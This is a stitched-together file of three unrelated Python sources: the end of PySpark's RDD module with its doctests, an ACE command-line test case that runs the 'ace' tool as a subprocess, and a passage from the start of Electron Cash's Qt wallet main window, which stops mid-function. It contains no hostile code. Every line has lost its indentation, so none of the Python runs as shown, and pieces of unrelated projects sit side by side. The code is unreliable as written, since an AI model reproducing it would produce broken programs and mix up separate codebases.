>>> rdd1.getStorageLevel()
StorageLevel(False, False, False, False, 1)
"""
java_storage_level = self._jrdd.getStorageLevel()
storage_level = StorageLevel(java_storage_level.useDisk(),
java_storage_level.useMemory(),
java_storage_level.useOffHeap(),
java_storage_level.deserialized(),
java_storage_level.replication())
return storage_level
# TODO: `lookup` is disabled because we can't make direct comparisons based
# on the key; we need to compare the hash of the key to the hash of the
# keys in the pairs. This could be an expensive operation, since those
# hashes aren't retained.
class PipelinedRDD(RDD):
"""
Pipelined maps:
>>> rdd = sc.parallelize([1, 2, 3, 4])
>>> rdd.map(lambda x: 2 * x).cache().map(lambda x: 2 * x).collect()
[4, 8, 12, 16]
>>> rdd.map(lambda x: 2 * x).map(lambda x: 2 * x).collect()
[4, 8, 12, 16]
Pipelined reduces:
>>> from operator import add
>>> rdd.map(lambda x: 2 * x).reduce(add)
20
>>> rdd.flatMap(lambda x: [x, x]).reduce(add)
20
"""
def __init__(self, prev, func, preservesPartitioning=False):
if not isinstance(prev, PipelinedRDD) or not prev._is_pipelinable():
# This transformation is the first in its stage:
self.func = func
self.preservesPartitioning = preservesPartitioning
self._prev_jrdd = prev._jrdd
self._prev_jrdd_deserializer = prev._jrdd_deserializer
else:
prev_func = prev.func
def pipeline_func(split, iterator):
return func(split, prev_func(split, iterator))
self.func = pipeline_func
self.preservesPartitioning = \
prev.preservesPartitioning and preservesPartitioning
self._prev_jrdd = prev._prev_jrdd # maintain the pipeline
self._prev_jrdd_deserializer = prev._prev_jrdd_deserializer
self.is_cached = False
self.is_checkpointed = False
self.ctx = prev.ctx
self.prev = prev
self._jrdd_val = None
self._jrdd_deserializer = self.ctx.serializer
self._bypass_serializer = False
@property
def _jrdd(self):
if self._jrdd_val:
return self._jrdd_val
if self._bypass_serializer:
serializer = NoOpSerializer()
else:
serializer = self.ctx.serializer
command = (self.func, self._prev_jrdd_deserializer, serializer)
pickled_command = CloudPickleSerializer().dumps(command)
broadcast_vars = ListConverter().convert(
[x._jbroadcast for x in self.ctx._pickled_broadcast_vars],
self.ctx._gateway._gateway_client)
self.ctx._pickled_broadcast_vars.clear()
class_tag = self._prev_jrdd.classTag()
env = MapConverter().convert(self.ctx.environment,
self.ctx._gateway._gateway_client)
includes = ListConverter().convert(self.ctx._python_includes,
self.ctx._gateway._gateway_client)
python_rdd = self.ctx._jvm.PythonRDD(self._prev_jrdd.rdd(),
bytearray(pickled_command), env, includes, self.preservesPartitioning,
self.ctx.pythonExec, broadcast_vars, self.ctx._javaAccumulator,
class_tag)
self._jrdd_val = python_rdd.asJavaRDD()
return self._jrdd_val
def _is_pipelinable(self):
return not (self.is_cached or self.is_checkpointed)
def _test():
import doctest
from pyspark.context import SparkContext
globs = globals().copy()
# The small batch size here ensures that we see multiple batches,
# even in these small test examples:
globs['sc'] = SparkContext('local[4]', 'PythonTest', batchSize=2)
(failure_count, test_count) = doctest.testmod(globs=globs,optionflags=doctest.ELLIPSIS)
globs['sc'].stop()
if failure_count:
exit(-1)
if __name__ == "__main__":
_test()
|
test_ace.py | # vim: sw=4:ts=4:et
import logging
import os.path
import threading
from subprocess import Popen, PIPE, TimeoutExpired
from saq.constants import *
from saq.test import ACEBasicTestCase
import psutil
class CLITestCase(ACEBasicTestCase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.cli_process = None
self.stderr_reader_thread = None
self.stdout_reader_thread = None
def tearDown(self, *args, **kwargs):
if self.cli_process is not None:
try:
self.cli_process.terminate()
self.cli_process.wait(5)
except TimeoutExpired:
try:
self.cli_process.kill()
self.cli_process.wait(5)
except Exception as e:
logging.critical("cannot stop subprocess {}: {}".format(self.cli_process, e))
if self.cli_process.returncode != 0:
self.fail("subprocess {} returned exit code {}".format(' '.join(self.cli_args), self.cli_process.returncode))
if self.stdout_reader_thread is not None:
self.stdout_reader_thread.join(5)
if self.stdout_reader_thread.is_alive():
logging.error("reader thread not stopping...")
if self.stderr_reader_thread is not None:
self.stderr_reader_thread.join(5)
if self.stderr_reader_thread.is_alive():
logging.error("reader thread not stopping...")
def stdout_reader(self):
for line in self.cli_process.stdout:
self.stdout_buffer.append(line)
logging.debug("STDOUT: {}".format(line.strip()))
def search_stdout(self, func):
for line in self.stdout_buffer:
if func(line):
return line
def stderr_reader(self):
for line in self.cli_process.stderr:
self.stderr_buffer.append(line)
logging.debug("STDERR: {}".format(line.strip()))
def search_stderr(self, func):
for line in self.stderr_buffer:
if func(line):
return line
def cli(self, *args, **kwargs):
"""Executes the ACE CLI with the given command line arguments. Sets up result monitoring."""
self.cli_args = [ 'ace', '-L', 'etc/console_debug_logging.ini' ]
self.cli_args.extend(args)
logging.debug("executing {}".format(' '.join(self.cli_args)))
self.cli_process = Popen(self.cli_args, stdout=PIPE, stderr=PIPE, universal_newlines=True)
self.stdout_buffer = []
self.stdout_reader_thread = threading.Thread(target=self.stdout_reader)
self.stdout_reader_thread.daemon = True
self.stdout_reader_thread.start()
self.stderr_buffer = []
self.stderr_reader_thread = threading.Thread(target=self.stderr_reader)
self.stderr_reader_thread.daemon = True
self.stderr_reader_thread.start()
def cli_wait(self, seconds):
"""Waits for the CLI subprocess execute to exit for the given number of seconds."""
try:
self.cli_process.wait(seconds)
except TimeoutExpired as e:
self.fail("subprocess {} failed to exit in {} seconds".format(' '.join(self.cli_args), seconds))
def verify_daemon(self, name):
pid_path = os.path.join('var', 'daemon', name)
self.assertTrue(os.path.exists(pid_path))
with open(pid_path, 'r') as fp:
daemon_pid = int(fp.read())
self.assertTrue(psutil.pid_exists(daemon_pid))
def verify_daemon_stopped(self, name):
pid_path = os.path.join('var', 'daemon', name)
self.assertFalse(os.path.exists(pid_path))
def test_list_observables(self):
self.cli('list-observables')
self.cli_wait(5)
for observable in VALID_OBSERVABLE_TYPES:
self.assertTrue(self.search_stdout(lambda x: observable in x))
def test_network_semaphore(self):
self.cli('--start', '--daemon', 'network-semaphore')
self.cli_wait(5)
self.verify_daemon('network-semaphore')
self.cli('--stop', 'network-semaphore')
self.cli_wait(5)
self.verify_daemon_stopped('network-semaphore')
|
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import sys, time, threading
import os, json, traceback
import shutil
import socket
import weakref
import webbrowser
import csv
from decimal import Decimal
import base64
from functools import partial
import PyQt5
from PyQt5.QtGui import *
from PyQt5.QtCore import *
import PyQt5.QtCore as QtCore
import icons_rc
from electroncash import keystore
from electroncash.bitcoin import COIN, is_valid, TYPE_ADDRESS
from electroncash.plugins import run_hook
from electroncash.i18n import _
from electroncash.util import (format_time, format_satoshis, PrintError,
format_satoshis_plain, NotEnoughFunds,
UserCancelled)
from electroncash import Transaction, mnemonic
from electroncash import util, bitcoin, commands, coinchooser
from electroncash import SimpleConfig, paymentrequest
from electroncash.wallet import Wallet, Multisig_Wallet
try:
from electroncash.plot import plot_history
except:
plot_history = None
from amountedit import AmountEdit, BTCAmountEdit, MyLineEdit, BTCkBEdit
from qrcodewidget import QRCodeWidget, QRDialog
from qrtextedit import ShowQRTextEdit
from transaction_dialog import show_transaction
from fee_slider import FeeSlider
from electroncash import ELECTRUM_VERSION
import re
from util import *
class StatusBarButton(QPushButton):
def __init__(self, icon, tooltip, func):
QPushButton.__init__(self, icon, '')
self.setToolTip(tooltip)
self.setFlat(True)
self.setMaximumWidth(25)
self.clicked.connect(self.onPress)
self.func = func
self.setIconSize(QSize(25,25))
def onPress(self, checked=False):
'''Drops the unwanted PyQt5 "checked" argument'''
self.func()
def keyPressEvent(self, e):
if e.key() == QtCore.Qt.Key_Return:
self.func()
from electroncash.paymentrequest import PR_UNPAID, PR_PAID, PR_UNKNOWN, PR_EXPIRED
class ElectrumWindow(QMainWindow, MessageBoxMixin, PrintError):
payment_request_ok_signal = pyqtSignal()
payment_request_error_signal = pyqtSignal()
new_fx_quotes_signal = pyqtSignal()
new_fx_history_signal = pyqtSignal()
network_signal = pyqtSignal(str, object)
alias_received_signal = pyqtSignal()
computing_privkeys_signal = pyqtSignal()
show_privkeys_signal = pyqtSignal()
def __init__(self, gui_object, wallet):
QMainWindow.__init__(self)
self.gui_object = gui_object
self.config = config = gui_object.config
self.network = gui_object.daemon.network
self.fx = gui_object.daemon.fx
self.invoices = wallet.invoices
self.contacts = wallet.contacts
self.tray = gui_object.tray
self.app = gui_object.app
self.cleaned_up = False
self.is_max = False
self.payment_request = None
self.checking_accounts = False
self.qr_window = None
self.not_enough_funds = False
self.pluginsdialog = None
self.require_fee_update = False
self.tx_notifications = []
self.tl_windows = []
self.create_status_bar()
self.need_update = threading.Event()
self.decimal_point = config.get('decimal_point', 5)
self.num_zeros = int(config.get('num_zeros',0))
self.completions = QStringListModel()
self.tabs = tabs = QTabWidget(self)
self.send_tab = self.create_send_tab()
self.receive_tab = self.create_receive_tab()
self.addresses_tab = self.create_addresses_tab()
self.utxo_tab = self.create_utxo_tab()
self.console_tab = self.create_console_tab()
self.contacts_tab = self.create_contacts_tab()
tabs.addTab(self.create_history_tab(), QIcon(":icons/tab_history.png"), _('History'))
tabs.addTab(self.send_tab, QIcon(":icons/tab_send.png"), _('Send'))
tabs.addTab(self.receive_tab, QIcon(":icons/tab_receive.png"), _('Receive'))
def add_optional_tab(tabs, tab, icon, description, name):
tab.tab_icon = icon
tab.tab_description = description
tab.tab_pos = len(tabs)
tab.tab_name = name
if self.config.get('show_{}_tab'.format(name), False):
tabs.addTab(tab, icon, description.replace("&", ""))
add_optional_tab(tabs, self.addresses_tab, QIcon(":icons/tab_addresses.png"), _("&Addresses"), "addresses")
add_optional_tab(tabs, self.utxo_tab, QIcon(":icons/tab_coins.png"), _("Co&ins"), "utxo")
add_optional_tab(tabs, self.contacts_tab, QIcon(":icons/tab_contacts.png"), _("Con&tacts"), "contacts")
add_optional_tab(tabs, self.console_tab, QIcon(":icons/tab_console.png"), _("Con&sole"), "console")
tabs.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
self.setCentralWidget(tabs)
if self.config.get("is_maximized"):
self.showMaximized()
self.setWindowIcon(QIcon(":icons/electron-cash.png"))
self.init_menubar()
wrtabs = weakref.proxy(tabs)
QShortcut(QKeySequence("Ctrl+W"), self, self.close)
QShortcut(QKeySequence("Ctrl+Q"), self, self.close)
QShortcut(QKeySequence("Ctrl+R"), self, self.update_wallet)
QShortcut(QKeySequence("Ctrl+PgUp"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() - 1)%wrtabs.count()))
QShortcut(QKeySequence("Ctrl+PgDown"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() + 1)%wrtabs.count()))
for i in range(wrtabs.count()):
QShortcut(QKeySequence("Alt+" + str(i + 1)), self, lambda i=i: wrtabs.setCurrentIndex(i))
self.payment_request_ok_signal.connect(self.payment_request_ok)
self.payment_request_error_signal.connect(self.payment_request_error)
self.history_list.setFocus(True)
# network callbacks
if self.network:
self.network_signal.connect(self.on_network_qt)
interests = ['updated', 'new_transaction', 'status',
'banner', 'verified', 'fee']
# To avoid leaking references to "self" that prevent the
# window from being GC-ed when closed, callbacks should be
# methods of this class only, and specifically not be
# partials, lambdas or methods of subobjects. Hence...
self.network.register_callback(self.on_network, interests)
# set initial message
self.console.showMessage(self.network.banner)
self.network.register_callback(self.on_quotes, ['on_quotes'])
self.network.register_callback(self.on_history, ['on_history'])
self.new_fx_quotes_signal.connect(self.on_fx_quotes)
self.new_fx_history_signal.connect(self.on_fx_history)
# update fee slider in case we missed the callback
self.fee_slider.update()
self.load_wallet(wallet)
self.connect_slots(gui_object.timer)
self.fetch_alias()
def on_history(self, b):
self.new_fx_history_signal.emit()
def on_fx_history(self):
self.history_list.refresh_headers()
self.history_list.update()
def on_quotes(self, b):
self.new_fx_quotes_signal.emit()
def on_fx_quotes(self):
self.update_status()
# Refresh edits with the new rate
edit = self.fiat_send_e if self.fiat_send_e.is_last_edited else self.amount_e
edit.textEdited.emit(edit.text())
edit = self.fiat_receive_e if self.fiat_receive_e.is_last_edited else self.receive_amount_e
edit.textEdited.emit(edit.text())
# History tab needs updating if it used spot
if self.fx.history_used_spot:
self.history_list.update()
def toggle_tab(self, tab):
show = not self.config.get('show_{}_tab'.format(tab.tab_name), False)
self.config.set_key('show_{}_tab'.format(tab.tab_name), show)
item_text = (_("Hide") if show else _("Show")) + " " + tab.tab_description
tab.menu_action.setText(item_text)
if show:
# Find out where to place the tab
index = len(self.tabs)
for i in range(len(self.tabs)):
try:
if tab.tab_pos < self.tabs.widget(i).tab_pos:
index = i
break
except AttributeError:
pass
self.tabs.insertTab(index, tab, tab.tab_icon, tab.tab_description.replace("&", ""))
else:
i = self.tabs.indexOf(tab)
self.tabs.removeTab(i)
def push_top_level_window(self, window):
'''Used for e.g. tx dialog box to ensure new dialogs are appropriately
parented. This used to be done by explicitly providing the parent
window, but that isn't something hardware wallet prompts know.'''
self.tl_windows.append(window)
def pop_top_level_window(self, window):
self.tl_windows.remove(window)
def top_level_window(self):
'''Do the right thing in the presence of tx dialog windows'''
override = self.tl_windows[-1] if self.tl_windows else None
return self.top_level_window_recurse(override)
def diagnostic_name(self):
return "%s/%s" % (PrintError.diagnostic_name(self),
self.wallet.basename() if self.wallet else "None")
def is_hidden(self):
return self.isMinimized() or self.isHidden()
def show_or_hide(self):
if self.is_hidden():
self.bring_to_top()
else:
self.hide()
def bring_to_top(self):
self.show()
self.raise_()
def on_error(self, exc_info):
if not isinstance(exc_info[1], UserCancelled):
traceback.print_exception(*exc_info)
self.show_error(str(exc_info[1]))
def on_network(self, event, *args):
if event == 'updated':
self.need_update.set()
self.gui_object.network_updated_signal_obj.network_updated_signal \
.emit(event, args)
elif event == 'new_transaction':
self.tx_notifications.append(args[0])
elif event in ['status', 'banner', 'verified', 'fee']:
# Handle in GUI thread
self.network_signal.emit(event, args)
else:
self.print_error("unexpected network message:", event, args)
def on_network_qt(self, event, args=None):
# Handle a network message in the GUI thread
if event == 'status':
self.update_status()
elif event == 'banner':
self.console.showMessage(args[0])
elif event == 'verified':
self.history_list.update_item(*args)
elif event == 'fee':
pass
else:
self.print_error("unexpected network_qt signal:", event, args)
def fetch_alias(self):
self.alias_info = None
alias = self.config.get('alias')
if alias:
alias = str(alias)
def f():
self.alias_info = self.contacts.resolve_openalias(alias)
self.alias_received_signal.emit()
t = threading.Thread(target=f)
t.setDaemon(True)
t.start()
def close_wallet(self):
if self.wallet:
self.print_error('close_wallet', self.wallet.storage.path)
run_hook('close_wallet', self.wallet)
def load_wallet(self, wallet):
wallet.thread = TaskThread(self, self.on_error)
self.wallet = wallet
self.update_recently_visited(wallet.storage.path)
# address used to create a dummy transaction and estimate transaction fee
self.history_list.update()
self.address_list.update()
self.utxo_list.update()
self.need_update.set()
# Once GUI has been initialized check if we want to announce something since the callback has been called before the GUI was initialized
self.notify_transactions()
# update menus
self.seed_menu.setEnabled(self.wallet.has_seed())
self.mpk_menu.setEnabled(self.wallet.is_deterministic())
self.update_lock_icon()
self.update_buttons_on_seed()
self.update_console()
self.clear_receive_tab()
self.request_list.update()
self.tabs.show()
self.init_geometry()
if self.config.get('hide_gui') and self.gui_object.tray.isVisible():
self.hide()
else:
self.show()
self.watching_only_changed()
run_hook('load_wallet', wallet, self)
def init_geometry(self):
winpos = self.wallet.storage.get("winpos-qt")
try:
screen = self.app.desktop().screenGeometry()
assert screen.contains(QRect(*winpos))
self.setGeometry(*winpos)
except:
self.print_error("using default geometry")
self.setGeometry(100, 100, 840, 400)
def watching_only_changed(self):
title = 'Electron Cash %s - %s' % (self.wallet.electrum_version,
self.wallet.basename())
extra = [self.wallet.storage.get('wallet_type', '?')]
if self.wallet.is_watching_only():
self.warn_if_watching_only()
extra.append(_('watching only'))
title += ' [%s]'% ', '.join(extra)
self.setWindowTitle(title)
self.password_menu.setEnabled(self.wallet.can_change_password())
self.import_privkey_menu.setVisible(self.wallet.can_import_privkey())
self.import_address_menu.setVisible(self.wallet.can_import_address())
self.export_menu.setEnabled(self.wallet.can_export())
def warn_if_watching_only(self):
if self.wallet.is_watching_only():
msg = ' '.join([
_("This wallet is watching-only."),
_("This means you will not be able to spend Bitcoin Cash with it."),
_("Make sure you own the seed phrase or the private keys, before you request Bitcoin Cash to be sent to this wallet.")
])
self.show_warning(msg, title=_('Information'))
def open_wallet(self):
wallet_folder = self.get_wallet_folder()
filename, __ = QFileDialog.getOpenFileName(self, "Select your wallet file", wallet_folder)
if not filename:
return
self.gui_object.new_window(str(filename))
def backup_wallet(self):
path = self.wallet.storage.path
wallet_folder = os.path.dirname(path)
filename, __ = QFileDialog.getSaveFileName(self, _('Enter a filename for the copy of your wallet'), wallet_folder)
if not filename:
return
new_path = os.path.join(wallet_folder, str(filename))
if new_path != path:
try:
shutil.copy2(path, new_path)
self.show_message(_("A copy of your wallet file was created in")+" '%s'" % str(new_path), title=_("Wallet backup created"))
except (IOError, os.error) as reason:
self.show_critical(_("Electrum was unable to copy your wallet file to the specified location.") + "\n" + str(reason), title=_("Unable to create backup"))
def update_recently_visited(self, filename):
recent = self.config.get('recently_open', [])
try:
sorted(recent)
except:
recent = []
if filename in recent:
recent.remove(filename)
recent.insert(0, filename)
recent = recent[:5]
self.config.set_key('recently_open', recent)
self.recently_visited_menu.clear()
for i, k in enumerate(sorted(recent)):
b = os.path.basename(k)
def loader(k):
return lambda: self.gui_object.new_window(k)
self.recently_visited_menu.addAction(b, loader(k)).setShortcut(QKeySequence("Ctrl+%d"%(i+1)))
self.recently_visited_menu.setEnabled(len(recent))
def get_wallet_folder(self):
return os.path.dirname(os.path.abspath(self.config.get_wallet_path()))
def new_wallet(self):
wallet_folder = self.get_wallet_folder()
i = 1
while True:
filename = "wallet_%d" % i
if filename in os.listdir(wallet_folder):
i += 1
else:
break
full_path = os.path.join(wallet_folder, filename)
self.gui_object.start_new_window(full_path, None)
def init_menubar(self):
menubar = QMenuBar()
file_menu = menubar.addMenu(_("&File"))
self.recently_visited_menu = file_menu.addMenu(_("&Recently open"))
file_menu.addAction(_("&Open"), self.open_wallet).setShortcut(QKeySequence.Open)
file_menu.addAction(_("&New/Restore"), self.new_wallet).setShortcut(QKeySequence.New)
file_menu.addAction(_("&Save Copy"), self.backup_wallet).setShortcut(QKeySequence.SaveAs)
file_menu.addSeparator()
file_menu.addAction(_("&Quit"), self.close)
wallet_menu = menubar.addMenu(_("&Wallet"))
self.password_menu = wallet_menu.addAction(_("&Password"), self.change_password_dialog)
self.seed_menu = wallet_menu.addAction(_("&Seed"), self.show_seed_dialog)
self.mpk_menu = wallet_menu.addAction(_("&Master Public Keys"), self.show_master_public_keys)
self.private_keys_menu = wallet_menu.addMenu(_("&Private keys"))
self.private_keys_menu.addAction(_("&Sweep"), self.sweep_key_dialog)
self.import_privkey_menu = self.private_keys_menu.addAction(_("&Import"), self.do_import_privkey)
self.export_menu = self.private_keys_menu.addAction(_("&Export"), self.export_privkeys_dialog)
self.import_address_menu = wallet_menu.addAction(_("Import addresses"), self.import_addresses)
wallet_menu.addSeparator()
labels_menu = wallet_menu.addMenu(_("&Labels"))
labels_menu.addAction(_("&Import"), self.do_import_labels)
labels_menu.addAction(_("&Export"), self.do_export_labels)
contacts_menu = wallet_menu.addMenu(_("Contacts"))
contacts_menu.addAction(_("&New"), self.new_contact_dialog)
contacts_menu.addAction(_("Import"), lambda: self.contact_list.import_contacts())
invoices_menu = wallet_menu.addMenu(_("Invoices"))
invoices_menu.addAction(_("Import"), lambda: self.invoice_list.import_invoices())
hist_menu = wallet_menu.addMenu(_("&History"))
hist_menu.addAction("Plot", self.plot_history_dialog).setEnabled(plot_history is not None)
hist_menu.addAction("Export", self.export_history_dialog)
wallet_menu.addSeparator()
wallet_menu.addAction(_("Find"), self.toggle_search).setShortcut(QKeySequence("Ctrl+F"))
def add_toggle_action(view_menu, tab):
is_shown = self.config.get('show_{}_tab'.format(tab.tab_name), False)
item_name = (_("Hide") if is_shown else _("Show")) + " " + tab.tab_description
tab.menu_action = view_menu.addAction(item_name, lambda: self.toggle_tab(tab))
view_menu = menubar.addMenu(_("&View"))
add_toggle_action(view_menu, self.addresses_tab)
add_toggle_action(view_menu, self.utxo_tab)
add_toggle_action(view_menu, self.contacts_tab)
add_toggle_action(view_menu, self.console_tab)
tools_menu = menubar.addMenu(_("&Tools"))
# Settings / Preferences are all reserved keywords in OSX using this as work around
tools_menu.addAction(_("Electron Cash preferences") if sys.platform == 'darwin' else _("Preferences"), self.settings_dialog)
tools_menu.addAction(_("&Network"), lambda: self.gui_object.show_network_dialog(self))
tools_menu.addAction(_("&Plugins"), self.plugins_dialog)
tools_menu.addSeparator()
tools_menu.addAction(_("&Sign/verify message"), self.sign_verify_message)
tools_menu.addAction(_("&Encrypt/decrypt message"), self.encrypt_message)
tools_menu.addSeparator()
paytomany_menu = tools_menu.addAction(_("&Pay to many"), self.paytomany)
raw_transaction_menu = tools_menu.addMenu(_("&Load transaction"))
raw_transaction_menu.addAction(_("&From file"), self.do_process_from_file)
raw_transaction_menu.addAction(_("&From text"), self.do_process_from_text)
raw_transaction_menu.addAction(_("&From the blockchain"), self.do_process_from_txid)
raw_transaction_menu.addAction(_("&From QR code"), self.read_tx_from_qrcode)
self.raw_transaction_menu = raw_transaction_menu
run_hook('init_menubar_tools', self, tools_menu)
help_menu = menubar.addMenu(_("&Help"))
help_menu.addAction(_("&About"), self.show_about)
help_menu.addAction(_("&Official website"), lambda: webbrowser.open("http://electroncash.org"))
help_menu.addSeparator()
help_menu.addAction(_("Documentation"), lambda: webbrowser.open("http://electroncash.readthedocs.io/")).setShortcut(QKeySequence.HelpContents)
help_menu.addAction(_("&Report Bug"), self.show_report_bug)
help_menu.addSeparator()
help_menu.addAction(_("&Donate to server"), self.donate_to_server)
self.setMenuBar(menubar)
def donate_to_server(self):
d = self.network.get_donation_address()
if d:
host = self.network.get_parameters()[0]
self.pay_to_URI('bitcoincash:%s?message=donation for %s'%(d, host))
else:
self.show_error(_('No donation address for this server'))
def show_about(self):
QMessageBox.about(self, "Electron Cash",
_("Version")+" %s" % (self.wallet.electrum_version) + "\n\n" +
_("Electron Cash's focus is speed, with low resource usage and simplifying Bitcoin. You do not need to perform regular backups, because your wallet can be recovered from a secret phrase that you can memorize or write on paper. Startup times are instant because it operates in conjunction with high-performance servers that handle the most complicated parts of the Bitcoin system." + "\n\n" +
_("Uses icons from the Icons8 icon pack (icons8.com).")))
def show_report_bug(self):
msg = ' '.join([
_("Please report any bugs as issues on github:<br/>"),
"<a href=\"https://github.com/fyookball/electrum/issues\">https://github.com/fyookball/electrum/issues</a><br/><br/>",
_("Before reporting a bug, upgrade to the most recent version of Electron Cash (latest release or git HEAD), and include the version number in your report."),
_("Try to explain not only what the bug is, but how it occurs.")
])
self.show_message(msg, title="Electron Cash - " + _("Reporting Bugs"))
def notify_transactions(self):
if not self.network or not self.network.is_connected():
return
self.print_error("Notifying GUI")
if len(self.tx_notifications) > 0:
# Combine the transactions if there are more then three
tx_amount = len(self.tx_notifications)
if(tx_amount >= 3):
total_amount = 0
for tx in self.tx_notifications:
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if(v > 0):
total_amount += v
self.notify(_("%(txs)s new transactions received. Total amount received in the new transactions %(amount)s") \
% { 'txs' : tx_amount, 'amount' : self.format_amount_and_units(total_amount)})
self.tx_notifications = []
else:
for tx in self.tx_notifications:
if tx:
self.tx_notifications.remove(tx)
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if(v > 0):
self.notify(_("New transaction received. %(amount)s") % { 'amount' : self.format_amount_and_units(v)})
def notify(self, message):
if self.tray:
self.tray.showMessage("Electrum", message, QSystemTrayIcon.Information, 20000)
# custom wrappers for getOpenFileName and getSaveFileName, that remember the path selected by the user
def getOpenFileName(self, title, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
fileName, __ = QFileDialog.getOpenFileName(self, title, directory, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return str(fileName)
def getSaveFileName(self, title, filename, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
path = os.path.join( directory, filename )
fileName, __ = QFileDialog.getSaveFileName(self, title, path, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return str(fileName)
def connect_slots(self, sender):
sender.timer_signal.connect(self.timer_actions)
def timer_actions(self):
# Note this runs in the GUI thread
if self.need_update.is_set():
self.need_update.clear()
self.update_wallet()
# resolve aliases
self.payto_e.resolve()
# update fee
if self.require_fee_update:
self.do_update_fee()
self.require_fee_update = False
def format_amount(self, x, is_diff=False, whitespaces=False):
return format_satoshis(x, is_diff, self.num_zeros, self.decimal_point, whitespaces)
def format_amount_and_units(self, amount):
text = self.format_amount(amount) + ' '+ self.base_unit()
x = self.fx.format_amount_and_units(amount)
if text and x:
text += ' (%s)'%x
return text
def get_decimal_point(self):
return self.decimal_point
def base_unit(self):
assert self.decimal_point in [2, 5, 8]
if self.decimal_point == 2:
return 'bits'
if self.decimal_point == 5:
return 'mBCH'
if self.decimal_point == 8:
return 'BCH'
raise Exception('Unknown base unit')
def connect_fields(self, window, btc_e, fiat_e, fee_e):
def edit_changed(edit):
if edit.follows:
return
edit.setStyleSheet(BLACK_FG)
fiat_e.is_last_edited = (edit == fiat_e)
amount = edit.get_amount()
rate = self.fx.exchange_rate() if self.fx else None
if rate is None or amount is None:
if edit is fiat_e:
btc_e.setText("")
if fee_e:
fee_e.setText("")
else:
fiat_e.setText("")
else:
if edit is fiat_e:
btc_e.follows = True
btc_e.setAmount(int(amount / Decimal(rate) * COIN))
btc_e.setStyleSheet(BLUE_FG)
btc_e.follows = False
if fee_e:
window.update_fee()
else:
fiat_e.follows = True
fiat_e.setText(self.fx.ccy_amount_str(
amount * Decimal(rate) / COIN, False))
fiat_e.setStyleSheet(BLUE_FG)
fiat_e.follows = False
btc_e.follows = False
fiat_e.follows = False
fiat_e.textChanged.connect(partial(edit_changed, fiat_e))
btc_e.textChanged.connect(partial(edit_changed, btc_e))
fiat_e.is_last_edited = False
def update_status(self):
if not self.wallet:
return
if self.network is None or not self.network.is_running():
text = _("Offline")
icon = QIcon(":icons/status_disconnected.png")
elif self.network.is_connected():
server_height = self.network.get_server_height()
server_lag = self.network.get_local_height() - server_height
# Server height can be 0 after switching to a new server
# until we get a headers subscription request response.
# Display the synchronizing message in that case.
if not self.wallet.up_to_date or server_height == 0:
text = _("Synchronizing...")
icon = QIcon(":icons/status_waiting.png")
elif server_lag > 1:
text = _("Server is lagging (%d blocks)"%server_lag)
icon = QIcon(":icons/status_lagging.png")
else:
c, u, x = self.wallet.get_balance()
text = _("Balance" ) + ": %s "%(self.format_amount_and_units(c))
if u:
text += " [%s unconfirmed]"%(self.format_amount(u, True).strip())
if x:
text += " [%s unmatured]"%(self.format_amount(x, True).strip())
# append fiat balance and price
if self.fx.is_enabled():
text += self.fx.get_fiat_status_text(c + u + x,
self.base_unit(), self.get_decimal_point()) or ''
if not self.network.proxy:
icon = QIcon(":icons/status_connected.png")
else:
icon = QIcon(":icons/status_connected_proxy.png")
else:
text = _("Not connected")
icon = QIcon(":icons/status_disconnected.png")
self.tray.setToolTip("%s (%s)" % (text, self.wallet.basename()))
self.balance_label.setText(text)
self.status_button.setIcon( icon )
def update_wallet(self):
self.update_status()
if self.wallet.up_to_date or not self.network or not self.network.is_connected():
self.update_tabs()
def update_tabs(self):
self.history_list.update()
self.request_list.update()
self.address_list.update()
self.utxo_list.update()
self.contact_list.update()
self.invoice_list.update()
self.update_completions()
def create_history_tab(self):
from history_list import HistoryList
self.history_list = l = HistoryList(self)
l.searchable_list = l
return l
def show_address(self, addr):
import address_dialog
d = address_dialog.AddressDialog(self, addr)
d.exec_()
def show_transaction(self, tx, tx_desc = None):
'''tx_desc is set only for txs created in the Send tab'''
show_transaction(tx, self, tx_desc)
def create_receive_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.receive_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
self.receive_address_e = ButtonsLineEdit()
self.receive_address_e.addCopyButton(self.app)
self.receive_address_e.setReadOnly(True)
msg = _('Bitcoin Cash address where the payment should be received. Note that each payment request uses a different Bitcoin Cash address.')
self.receive_address_label = HelpLabel(_('Receiving address'), msg)
self.receive_address_e.textChanged.connect(self.update_receive_qr)
self.receive_address_e.setFocusPolicy(Qt.NoFocus)
grid.addWidget(self.receive_address_label, 0, 0)
grid.addWidget(self.receive_address_e, 0, 1, 1, -1)
self.receive_message_e = QLineEdit()
grid.addWidget(QLabel(_('Description')), 1, 0)
